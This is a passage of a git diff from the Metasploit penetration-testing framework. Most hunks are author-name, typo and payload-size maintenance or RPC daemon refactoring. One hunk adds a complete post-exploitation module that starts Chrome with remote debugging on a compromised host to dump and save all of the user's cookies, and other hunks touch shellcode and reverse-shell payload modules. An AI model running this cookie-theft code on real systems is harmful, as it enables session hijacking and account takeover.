a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb +++ b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb @@ -26,7 +26,7 @@ def initialize(info={}) 'Author' => [ 'mr_me ', # vulnerability discovery and exploit - 'Brendan Coles ', # hidden hta tricks! + 'bcoles', # hidden hta tricks! 'sinn3r' # help with msf foo! ], 'References' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index b6db16520624..c0b5e4d0082b 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Author' => [ 'RjRjh Hack3r', # Original discovery and exploit - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index dc3fe7eac51e..7478d8e2b6ad 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -31,7 +31,7 @@ def initialize(info={}) 'Author' => [ 'Serge Gorbunov', # Initial discovery - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index 35a1a8703069..a9e6bc556045 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -136,7 +136,7 @@ def exploit payload_url = "" @payload_path = "" if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/ - print_good("Payload uploaded successfuly") + print_good("Payload uploaded successfully") else print_error("Payload upload failed") return diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index d66d47835a7e..a2ec6fa8d7d1 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Author' => [ 'LSO ', # original metasploit - 'Brendan Coles ' # metasploit + 'bcoles' # metasploit ], 'License' => BSD_LICENSE, 'References' => diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 6f82fcc6482a..83af98beb27c 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -30,7 +30,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Initial discovery - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb index 00281a42944a..7ee86761567d 100644 --- a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb +++ b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Author' => [ 'Gjoko Krstic(LiquidWorm) ', # Discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb b/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb index 3b8a79e4418d..9b09ae9985d2 100644 --- a/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb +++ b/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb b/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb index 07fd2e1ae41a..fc940a123110 100644 --- a/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb +++ b/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index ca7a5563305c..8f390a12838b 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Author' => [ 'Mohamed Shetta ', # Initial discovery and PoC - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 5bd7f1e64cd8..b2e5d4fcc237 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'Name' => 'Unix Command Shell, Reverse TCP (via Python)', 'Version' => '$Revision: 1 $', 'Description' => 'Connect back and create a command shell via Python', - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index bfdcc14f6ae2..95b3458fccba 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index ba9e9d81875e..7b04e6b75b62 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 8cad7922153f..057f670c3c55 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 1021984 + CachedSize = 1022000 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb index 25d38e6c801d..51f07cf11b68 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb index cae1f4f9ba6c..89fbfbdc61e7 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb index c203c086eed7..1582071387fe 100644 --- a/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb @@ -10,7 +10,7 @@ module MetasploitModule - CachedSize = 951548 + CachedSize = 951564 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 71f3b7444c30..ec2cad0ff10a 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71634 + CachedSize = 71982 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e5d6ad649dca..c715d2b26885 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71570 + CachedSize = 71918 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 5cf8c8587002..0045302c444b 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71570 + CachedSize = 71918 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index dc7c50b7f7a1..38b4277c4bac 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ module MetasploitModule - CachedSize = 71530 + CachedSize = 71882 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/windows/x64/messagebox.rb b/modules/payloads/singles/windows/x64/messagebox.rb index 03606841af17..b5172cc6211d 100644 --- a/modules/payloads/singles/windows/x64/messagebox.rb +++ b/modules/payloads/singles/windows/x64/messagebox.rb @@ -5,7 +5,7 @@ module MetasploitModule - CachedSize = 299 + CachedSize = 295 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 819f4848b964..bccd6520b837 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 347 + CachedSize = 414 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 31e6d29a13e9..93d83133b4f1 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -8,7 +8,7 @@ module MetasploitModule - CachedSize = 367 + CachedSize = 434 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 568fced71f08..482aa4fa6cea 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -159,7 +159,7 @@ def whereis(exe) def get_request(uri) output = perform_request(uri, 'nc -j localhost 631') - if output =~ /^usage: nc/ + if output =~ /^(?:usage: nc|nc: invalid option -- 'j')/ output = perform_request(uri, 'nc localhost 631') end diff --git a/modules/post/multi/gather/chrome_cookies.rb b/modules/post/multi/gather/chrome_cookies.rb new file mode 100644 index 000000000000..d65c06a47c2f --- /dev/null +++ b/modules/post/multi/gather/chrome_cookies.rb @@ -0,0 +1,234 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chrome Gather Cookies', + 'Description' => + "Read all cookies from the Default Chrome profile of the target user.", + 'License' => MSF_LICENSE, + 'Author' => ['mangopdf '], + 'Platform' => %w[linux unix bsd osx windows], + 'SessionTypes' => %w[meterpreter shell])) + + register_options( + [ + OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']), + OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', ""]), + OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222]) + ] + ) + end + + def configure_for_platform + vprint_status('Determining session platform') + vprint_status("Platform: #{session.platform}") + vprint_status("Type: #{session.type}") + + if session.platform == 'windows' + username = get_env('USERNAME').strip + else + username = cmd_exec 'id -un' + end + + temp_storage_dir = datastore['WRITABLE_DIR'] + + case session.platform + when 'unix', 'linux', 'bsd', 'python' + chrome = 'google-chrome' + user_data_dir = "/home/#{username}/.config/google-chrome" + temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir + @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" + when 'osx' + chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"' + user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome" + temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir + @cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}" + when 'windows' + chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"' + user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data" + temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir + @cookie_storage_path = "#{user_data_dir}\\chrome_debug.log" + else + fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}" + end + + unless datastore['CHROME_BINARY_PATH'].empty? + chrome = datastore['CHROME_BINARY_PATH'] + end + +=begin + # #writable? not supported on windows + unless writable? @temp_storage_dir + fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable" + end +=end + + @html_storage_path = create_cookie_stealing_html(temp_storage_dir) + + chrome_debugging_args = [] + + if session.platform == 'windows' + # `--headless` doesn't work on Windows, so use an offscreen window instead. + chrome_debugging_args << '--window-position=0,0' + chrome_debugging_args << '--enable-logging --v=1' + else + chrome_debugging_args << '--headless' + end + + chrome_debugging_args_all_platforms = [ + '--disable-translate', + '--disable-extensions', + '--disable-background-networking', + '--safebrowsing-disable-auto-update', + '--disable-sync', + '--metrics-recording-only', + '--disable-default-apps', + '--mute-audio', + '--no-first-run', + '--disable-web-security', + '--disable-plugins', + '--disable-gpu' + ] + + chrome_debugging_args << chrome_debugging_args_all_platforms + chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\"" + chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}" + chrome_debugging_args << " #{@html_storage_path}" + + @chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(" ")}" + end + + def create_cookie_stealing_html(temp_storage_dir) + cookie_stealing_html = %( + + + + + index.html + + + + + + ) + + # Where to temporarily store the cookie-stealing html + if session.platform == 'windows' + html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + else + html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html" + end + + write_file(html_storage_path, cookie_stealing_html) + html_storage_path + end + + def cleanup + if file?(@html_storage_path) + vprint_status("Removing file #{@html_storage_path}") + rm_f @html_storage_path + end + + if file?(@cookie_storage_path) + vprint_status("Removing file #{@cookie_storage_path}") + rm_f @cookie_storage_path + end + end + + def get_cookies + if session.platform == 'windows' + chrome_cmd = "#{@chrome_debugging_cmd}" + kill_cmd = 'taskkill /f /pid' + else + chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1" + kill_cmd = 'kill -9' + end + + if session.type == 'meterpreter' + chrome_pid = cmd_exec_get_pid(chrome_cmd) + print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}" + Rex.sleep(5) + + # read_file within if/else block because kill was terminating sessions on OSX during testing + chrome_output = read_file(@cookie_storage_path) + + # Kills meterpreter only non-windows sessions + if session.platform == 'windows' + kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}" + end + else + # Using shell_command for backgrounding process (&) + client.shell_command("#{chrome_cmd} &") + print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}" + Rex.sleep(5) + + chrome_output = read_file(@cookie_storage_path) + end + + cookies_msg = '' + chrome_output.each_line {|line| + if line =~ /REMOTE_DEBUGGING/ + print_good('Found Match') + cookies_msg = line + end + } + + fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty? + + # Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info + cookies_json = cookies_msg.split("REMOTE_DEBUGGING|")[1] + cookies_json.split('", source: file')[0] + end + + def save(msg, data, ctype = 'text/json') + ltype = 'chrome.gather.cookies' + loot = store_loot ltype, ctype, session, data, nil, msg + print_good "#{msg} stored in #{loot}" + end + + def run + fail_with Failure::BadConfig, 'No session found, giving up' if session.nil? + + # Issues with write_file. Maybe a path problem? + if session.platform == 'windows' && session.type == 'shell' + fail_with Failure::BadConfig, 'Windows shell session not support, giving up' + end + + unless session.platform == 'windows' && session.type == 'meterpreter' + print_warning 'This module will leave a headless Chrome process running on the target machine.' + end + + configure_for_platform + cookies = get_cookies + cookies_parsed = JSON.parse cookies + save "#{cookies_parsed.length} Chrome Cookies", cookies + end +end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 5aab4b2ec994..0ef04e2416d2 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -73,7 +73,7 @@ def run # Handle platform specific variables and settings case session.platform - when 'windows' + when 'windows', 'win' platform = 'windows' payload_name = 'windows/meterpreter/reverse_tcp' lplat = [Msf::Platform::Windows] diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 53446e663367..8f0b1432733c 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -85,7 +85,7 @@ def run ring0_code = #"\xcc" + - # save registers -- necessary for successfuly recovery + # save registers -- necessary for successful recovery "\x60" + # get EPROCESS from ETHREAD "\x64\xa1\x24\x01\x00\x00" + diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 6566dd657dba..deeb82944396 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -103,7 +103,7 @@ def run if !recovery_key.nil? recovery_key = recovery_key[1] id_key_tmp = id_key_tmp[1] - print_good("Recovery key generated successfuly : #{recovery_key}") + print_good("Recovery key generated successfully : #{recovery_key}") else print_error('Recovery Key generation failed') print_status('No recovery key can be used') diff --git a/modules/post/windows/gather/credentials/dynazip_log.rb b/modules/post/windows/gather/credentials/dynazip_log.rb index 7f1a74132450..62a98cf7b4c3 100644 --- a/modules/post/windows/gather/credentials/dynazip_log.rb +++ b/modules/post/windows/gather/credentials/dynazip_log.rb @@ -16,7 +16,7 @@ def initialize(info = {}) files in Microsoft Plus! 98 and Windows Me. }, 'License' => MSF_LICENSE, - 'Author' => ['Brendan Coles '], + 'Author' => ['bcoles'], 'References' => [ ['CVE', '2001-0152'], diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index ef4c700f5df5..a41837e5f2e5 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -16,7 +16,7 @@ def initialize(info={}) FTP client for Windows. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Brendan Coles ' ], + 'Author' => [ 'bcoles' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 9e463e5e522a..4a1ba2b2a5f9 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'Joe Giron', # Discovery and PoC (@theonlyevil1) - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit 'sinn3r' # shell session support ], 'References' => diff --git a/msfdb b/msfdb index 9fe663cd8959..a711f8933fe2 100755 --- a/msfdb +++ b/msfdb @@ -8,7 +8,7 @@ require 'open3' require 'optparse' require 'rex/socket' require 'rex/text' -require 'sysrandom/securerandom' +require 'securerandom' require 'uri' require 'yaml' @@ -20,13 +20,14 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] +require 'msf/base/config' require 'msf/util/helper' @script_name = File.basename(__FILE__) @framework = File.expand_path(File.dirname(__FILE__)) -@localconf = "#{ENV['HOME']}/.msf4" +@localconf = Msf::Config.get_config_root @db = "#{@localconf}/db" @db_conf = "#{@localconf}/database.yml" @@ -636,7 +637,7 @@ def add_web_service_user # Send request to create new API token for the user generate_token_uri = get_web_service_uri(path: '/api/v1/auth/generate-token') - response_data = http_request(uri: generate_token_uri, query: cred_data, method: :get, + response_data = http_request(uri: generate_token_uri, data: cred_data, method: :post, skip_verify: skip_ssl_verify?, cert: get_ssl_cert) response = response_data[:response] puts "add_web_service_user: generate token response=#{response}" if @options[:debug] @@ -921,16 +922,17 @@ def has_requirements ret_val = true postgresql_cmds = %w(psql pg_ctl initdb createdb) other_cmds = %w(bundle thin) - missing_msg = 'Missing requirement: %s does not appear to be installed or is not in the environment path' + missing_msg = "Missing requirement: %s does not appear to be installed or '%s' is not in the environment path" - unless postgresql_cmds.all? { |cmd| !Msf::Util::Helper.which(cmd).nil? } - puts missing_msg % { name: 'PostgreSQL' } + postgresql_cmds.each do |cmd| + next unless Msf::Util::Helper.which(cmd).nil? + puts missing_msg % { name: 'PostgreSQL', prog: cmd } ret_val = false end other_cmds.each do |cmd| if Msf::Util::Helper.which(cmd).nil? - puts missing_msg % { name: "'#{cmd}'" } + puts missing_msg % { name: "'#{cmd}'", prog: cmd } ret_val = false end end diff --git a/msfrpcd b/msfrpcd index e3c5103c2256..9cce6339e99b 100755 --- a/msfrpcd +++ b/msfrpcd @@ -4,52 +4,168 @@ # $Id$ # # This user interface listens on a port and provides clients that connect to -# it with an RPC interface to the Metasploit Framework. +# it with an RPC or JSON-RPC interface to the Metasploit Framework. # # $Revision$ # -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +RPC_TYPE = 'Msg' +WS_TAG = 'msf-ws' +WS_RPC_TAG = 'msf-json-rpc' +WS_CONF = "#{WS_RPC_TAG}.ru" +WS_ENV = 'production' + + +def start_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, + ssl_disable_verify:, daemonize:, log:, pid:) + unless File.file?(conf) + $stdout.puts "[-] No MSF JSON-RPC web service configuration found at #{conf}, not starting" + return false + end + + # check if MSF JSON-RPC web service is already started + if File.file?(pid) + ws_pid = Msf::Util::ServiceHelper.tail(pid) + if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) + $stdout.puts "[-] MSF JSON-RPC web service PID file found, but no active process running as PID #{ws_pid}" + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{pid}" + File.delete(pid) + else + $stdout.puts "[*] MSF JSON-RPC web service is already running as PID #{ws_pid}" + return false + end + end + + # attempt to start MSF JSON-RPC service + thin_cmd = Msf::Util::ServiceHelper.thin_cmd(conf: conf, + address: address, + port: port, + ssl: ssl, + ssl_key: ssl_key, + ssl_cert: ssl_cert, + ssl_disable_verify: ssl_disable_verify, + env: WS_ENV, + daemonize: daemonize, + log: log, + pid: pid, + tag: WS_RPC_TAG) + Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} start") end -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/parser/arguments' - -# Declare the argument parser for msfrpcd -arguments = Rex::Parser::Arguments.new( - "-a" => [ true, "Bind to this IP address" ], - "-p" => [ true, "Bind to this port instead of 55553" ], - "-U" => [ true, "Specify the username to access msfrpcd" ], - "-P" => [ true, "Specify the password to access msfrpcd" ], - "-u" => [ true, "URI for Web server" ], - "-t" => [ true, "Token Timeout (default 300 seconds" ], - "-S" => [ false, "Disable SSL on the RPC socket" ], - "-f" => [ false, "Run the daemon in the foreground" ], - "-n" => [ false, "Disable database" ], - "-h" => [ false, "Help banner" ]) - -opts = { - 'RunInForeground' => true, - 'SSL' => true, - 'ServerHost' => '0.0.0.0', - 'ServerPort' => 55553, - 'ServerType' => 'Msg', - 'TokenTimeout' => 300, -} - -foreground = false -frameworkOpts = {} - - -# Parse command line arguments. -arguments.parse(ARGV) { |opt, idx, val| - case opt +def stop_json_rpc_service(conf:, address:, port:, ssl:, ssl_key:, ssl_cert:, + ssl_disable_verify:, daemonize:, log:, pid:) + ws_pid = Msf::Util::ServiceHelper.tail(pid) + $stdout.puts '' + if ws_pid.nil? || !Msf::Util::ServiceHelper.process_active?(ws_pid.to_i) + $stdout.puts '[*] MSF JSON-RPC web service is no longer running' + if File.file?(pid) + $stdout.puts "[*] Deleting MSF JSON-RPC web service PID file #{pid}" + File.delete(pid) + end + else + $stdout.puts "[*] Stopping MSF JSON-RPC web service PID #{ws_pid}" + thin_cmd = Msf::Util::ServiceHelper.thin_cmd(conf: conf, + address: address, + port: port, + ssl: ssl, + ssl_key: ssl_key, + ssl_cert: ssl_cert, + ssl_disable_verify: ssl_disable_verify, + env: WS_ENV, + daemonize: daemonize, + log: log, + pid: pid, + tag: WS_RPC_TAG) + Msf::Util::ServiceHelper.run_cmd("#{thin_cmd} stop") + end +end + +def start_rpc_service(opts, frameworkOpts, foreground) + # Fork into the background if requested + begin + if foreground + $stdout.puts "[*] #{RPC_TYPE.upcase}RPC ready at #{Time.now}." + else + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC backgrounding at #{Time.now}..." + child_pid = Process.fork() + if child_pid + $stderr.puts "[*] #{RPC_TYPE.upcase}RPC background PID #{child_pid}" + exit(0) + end + end + rescue ::NotImplementedError + $stderr.puts "[-] Background mode is not available on this platform" + end + + # Create an instance of the framework + $framework = Msf::Simple::Framework.create(frameworkOpts) + + # Run the plugin instance in the foreground. + begin + $framework.plugins.load("#{RPC_TYPE.downcase}rpc", opts).run + rescue ::Interrupt + $stderr.puts "[*] Shutting down" + end +end + + +if $PROGRAM_NAME == __FILE__ + msfbase = __FILE__ + while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + end + + $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) + require 'msfenv' + + $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + + require 'msf/base' + require 'msf/ui' + require 'msf/util/service_helper' + require 'msf/base/config' + require 'rex/parser/arguments' + + ws_ssl_key_default = File.join(Msf::Config.get_config_root, "#{WS_TAG}-key.pem") + ws_ssl_cert_default = File.join(Msf::Config.get_config_root, "#{WS_TAG}-cert.pem") + ws_log = File.join(Msf::Config.get_config_root, 'logs', "#{WS_RPC_TAG}.log") + ws_rpc_pid = File.join(Msf::Config.get_config_root, "#{WS_RPC_TAG}.pid") + ws_ssl_key = ws_ssl_key_default + ws_ssl_cert = ws_ssl_cert_default + ssl_enable_verify = false + foreground = false + json_rpc = false + frameworkOpts = {} + + opts = { + 'RunInForeground' => true, + 'SSL' => true, + 'ServerHost' => '0.0.0.0', + 'ServerPort' => 55553, + 'ServerType' => RPC_TYPE, + 'TokenTimeout' => 300, + } + + # Declare the argument parser for msfrpcd + arguments = Rex::Parser::Arguments.new( + "-a" => [ true, "Bind to this IP address (default: #{opts['ServerHost']})" ], + "-p" => [ true, "Bind to this port (default: #{opts['ServerPort']})" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-u" => [ true, "URI for Web server" ], + "-t" => [ true, "Token Timeout seconds (default: #{opts['TokenTimeout']})" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-f" => [ false, "Run the daemon in the foreground" ], + "-n" => [ false, "Disable database" ], + "-j" => [ false, "(JSON-RPC) Start JSON-RPC server" ], + "-k" => [ false, "(JSON-RPC) Path to private key (default: #{ws_ssl_key_default})" ], + "-c" => [ false, "(JSON-RPC) Path to certificate (default: 